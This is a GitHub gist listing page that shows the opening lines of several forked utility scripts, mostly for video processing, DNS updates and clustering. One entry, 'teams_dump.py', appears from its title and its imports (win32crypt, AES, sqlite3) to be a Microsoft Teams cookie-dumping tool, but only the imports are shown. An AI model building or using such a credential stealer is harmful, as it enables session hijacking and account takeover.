Skip to content

Instantly share code, notes, and snippets.

@datavudeja
datavudeja / shell_cmd.py
Created January 8, 2026 17:59 — forked from awesomebytes/shell_cmd.py
Spawn a shell with a command with some extra options
#!/usr/bin/env python
import subprocess
import tempfile
import os
import signal
class ShellCmd:
"""Helpful class to spawn commands and keep track of them"""
@datavudeja
datavudeja / cloudflare_ddns.py
Created January 8, 2026 17:57 — forked from nourselim0/cloudflare_ddns.py
Cloudflare Dynamic DNS
import json
import os
import sys
import tempfile
from typing import cast
import requests
from requests.models import Response
CLOUDFLARE_API_TOKEN = "YOUR_API_TOKEN"
@datavudeja
datavudeja / teams_dump.py
Created January 8, 2026 17:41 — forked from byinarie/teams_dump.py
teams cookie
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
import click
@datavudeja
datavudeja / fibonacci_optimal_k.py
Created January 8, 2026 17:39 — forked from thistleknot/fibonacci_optimal_k.py
fibonacci clustered embeddings
#from gptcache import cache
#from transformers import BertModel, BertTokenizer
from datasets import load_dataset, concatenate_datasets
from sentence_transformers import SentenceTransformer
from sklearn.cluster import HDBSCAN, DBSCAN
from sklearn.metrics import pairwise_distances_argmin_min, silhouette_score, pairwise_distances
from sklearn.model_selection import ParameterGrid
from sklearn.neighbors import NearestNeighbors
from tqdm import tqdm
from transformers import AutoTokenizer#, BertModel, BertTokenizer, BertConfig, DistilBertModel, DistilBertTokenizer
@datavudeja
datavudeja / ffmpeg.txt
Created December 30, 2025 20:20 — forked from aardbol/ffmpeg.txt
ffmpeg examples
# Add a subtitle to a video, set the language=eng, make it the default subtitle and store it as mkv
# $1 = video file, $2 = subtitle file
ffmpeg -i "$1" -i "$2" -map 0 -map 1 -metadata:s:0 language=eng -c copy -disposition:s:0 default "$1.mkv"`
# Add a subtitle to a video, copy just one audio stream, set metadata language=eng for the subtitle, make it the default one and store it as mkv
ffmpeg -i "$1.mp4" -i "$1.srt" -map 0 -map 1 -map -0:a:0 -c copy -metadata:s:s:0 language=eng -disposition:s:0 default "$1.mkv"
# Scale down every file to H265 720p using Intel QSV hardware encoding
find . -type f -exec ffmpeg -i {} -c:v hevc_qsv -s 1280x720 -global_quality 20 -c:a copy -c:s copy {}.mkv \; && find . ! -name '*.mkv.mkv' -exec rm {} \; && rename 's/.mkv.mkv/.mkv/' *
@datavudeja
datavudeja / ClipVideo.ps1
Created December 30, 2025 20:20 — forked from jeremyrsellars/ClipVideo.ps1
Clip YT audio
# Downloads the video and coverts to audio, then clips it from $start to $stop time and saves as $file
# The time formats must be "hh:mm:ss" and are relative to the beginning of the source video.
$youtubeUrl = "https://www.youtube.com/watch?v=T6SyM0Kw6GA"
$start = "00:00:36"
$stop = "00:04:55"
$file = "clip"
$youtube_id = [regex]::new("[^/=]+$").Match($youtubeUrl).Value
md $youtube_id -ErrorAction SilentlyContinue
cd $youtube_id
@datavudeja
datavudeja / gist:985587c768f7280a62223d643d1ba353
Created December 30, 2025 20:19 — forked from sebdi/gist:fede0f15c6e47737dc48089720d9ee36
Python script to create a youtube video from a slide deck
import os
import json
import requests
from pdf2image import convert_from_path
from pydub import AudioSegment
from pydub.utils import make_chunks
import subprocess
import time
# Configuration
@datavudeja
datavudeja / README.md
Created December 30, 2025 20:19 — forked from troykelly/README.md
Multi Screen Video Playback using ffplay

Stream.sh

stream.sh is a Bash script designed to stream multiple video sources to multiple screens using ffplay. This script ensures that each video stream is displayed on a specified monitor and restarts the stream if it fails. The script is optimized for real-time playback by using various ffplay options to reduce latency and handle frame drops effectively.

Features

  • Streams multiple video sources to multiple screens.
  • Ensures each stream is displayed on the specified monitor.
  • Restarts streams automatically if they fail.
  • Optimized for real-time playback with minimal latency.
@datavudeja
datavudeja / create-mp4-from-pictures.md
Created December 30, 2025 20:19 — forked from jfrobbins/create-mp4-from-pictures.md
Create mp4 from pictures
@datavudeja
datavudeja / clipper.md
Created December 30, 2025 20:19 — forked from BachLe2000/clipper.md
Send Video File As Clip

Send video file as clip

How to use this:

  1. Prepare your video file by using the clip metadata snippet in the Requirement section below.
  2. Press Ctrl+Shift+I to open DevTools and copy everything in Main Function section.

Note

If there is nothing poping up, you can:

  • Download the ptb client, or
  • Use this to enable DevTools on stable client.